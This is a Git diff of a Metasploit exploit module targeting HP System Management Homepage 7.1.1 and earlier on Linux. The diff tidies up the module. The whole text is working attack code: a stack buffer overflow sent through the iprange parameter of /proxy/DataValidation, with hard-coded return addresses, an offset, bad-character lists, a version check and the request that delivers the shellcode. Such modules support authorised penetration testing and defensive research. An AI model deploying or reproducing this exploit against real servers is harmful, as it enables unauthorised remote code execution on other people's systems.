Merge pull request #3 from jvazquez-r7/hp_system_mgmt_work

cleanup for hp_system_management

Author: agix

modules/exploits/linux/http/hp_system_management.rb

@@ -8,64 +8,97 @@
 require 'msf/core'
 
 class Metasploit3 < Msf::Exploit::Remote
-	Rank = AverageRanking
+	Rank = NormalRanking
+
+	HttpFingerprint = { :pattern => [ /HP System Management Homepage/ ] }
 
 	include Msf::Exploit::Remote::HttpClient
 
 	def initialize(info = {})
 		super(update_info(info,
 			'Name'           => 'HP System Management Anonymous Access Code Execution',
 			'Description'    => %q{
-					This module exploits an anonymous remote code execution on hp system management 7.1.1 and inferior.
+					This module exploits an anonymous remote code execution on HP System Management
+				7.1.1 and earlier. The vulnerability exists when handling the iprange parameter on
+				a request against /proxy/DataValidation. In order to work HP System Management must
+				be configured with Anonymous access enabled.
 			},
-			'Author'         => [ 'agix - @agixid' ],
+			'Author'         => [ 'agix' ], # @agixid
 			'License'        => MSF_LICENSE,
 			'Payload'        =>
 				{
 					'DisableNops' => true,
 					'Space'       => 1000,
 					'BadChars' => "\x00\x25\x0a\x0b\x0d\x3a\x3b\x09\x0c\x23\x20",
+					'EncoderOptions' =>
+						{
+							'BufferRegister' => 'ESP' # See the comments below
+						}
 				},
 			'Platform'       => ['linux'],
 			'Arch'           => ARCH_X86,
 			'References'	 =>
 				[
-					['URL', 'http://bit.ly/YhjikT']
-				]
-			'Targets'        => [
-
+					#['URL', 'http://bit.ly/YhjikT'],
+					#['OSVDB', 'http://bit.ly/YhjikT']
+				],
+			'Targets'        =>
+				[
 					[ 'HP System Management 7.1.1 - Linux (CentOS)',
-					{
-						'Ret' => 0x8054e14, # push esp / ret
-						'Offset' => 267
-					}
+						{
+							'Ret' => 0x8054e14, # push esp / ret
+							'Offset' => 267
+						}
 					],
 					[ 'HP System Management 6.3.0 - Linux (CentOS)',
-					{
-						'Ret' => 0x805a547, # push esp / ret
-						'Offset' => 267
-					}
+						{
+							'Ret' => 0x805a547, # push esp / ret
+							'Offset' => 267
+						}
 					]
-
 				],
 			'DisclosureDate' => 'Sep 01 2012',
 			'DefaultTarget' => 0))
 
+		register_options(
+			[
+				Opt::RPORT(2381),
+				OptBool.new('SSL', [true, 'Use SSL', true])
+			], self.class)
+
+	end
+
+	def check
+		res = send_request_cgi({
+			'method' => 'GET',
+			'uri' => "/cpqlogin.htm"
+		})
+
+		if res and res.code == 200 and res.body =~ /"HP System Management Homepage v(.*)"/
+			version = $1
+			return Exploit::CheckCode::Vulnerable if version <= "7.1.1.1"
+		end
+
+		return Exploit::CheckCode::Safe
+	end
+
 	def exploit
-		padding = rand_text(target['Offset'])
+
+		padding = rand_text_alpha(target['Offset'])
 		ret = [target['Ret']].pack('V')
-		uri = "/proxy/DataValidation"
 		iprange = "a-bz"+padding+ret+payload.encoded
-		print_status("Sending #{uri.length} bytes payload...")
+
+		print_status("#{rhost}:#{rport} - Sending exploit...")
 
 		res = send_request_cgi({
-				'method' => 'GET',
-				'uri' => uri,
-				'vars_get' => {
-        			'iprange' => iprange
-    			}
-			})
-		handler
+			'method' => 'GET',
+			'uri' => "/proxy/DataValidation",
+			'encode_params' => false,
+			'vars_get' => {
+				'iprange' => iprange
+			}
+		})
+
 	end
 
 end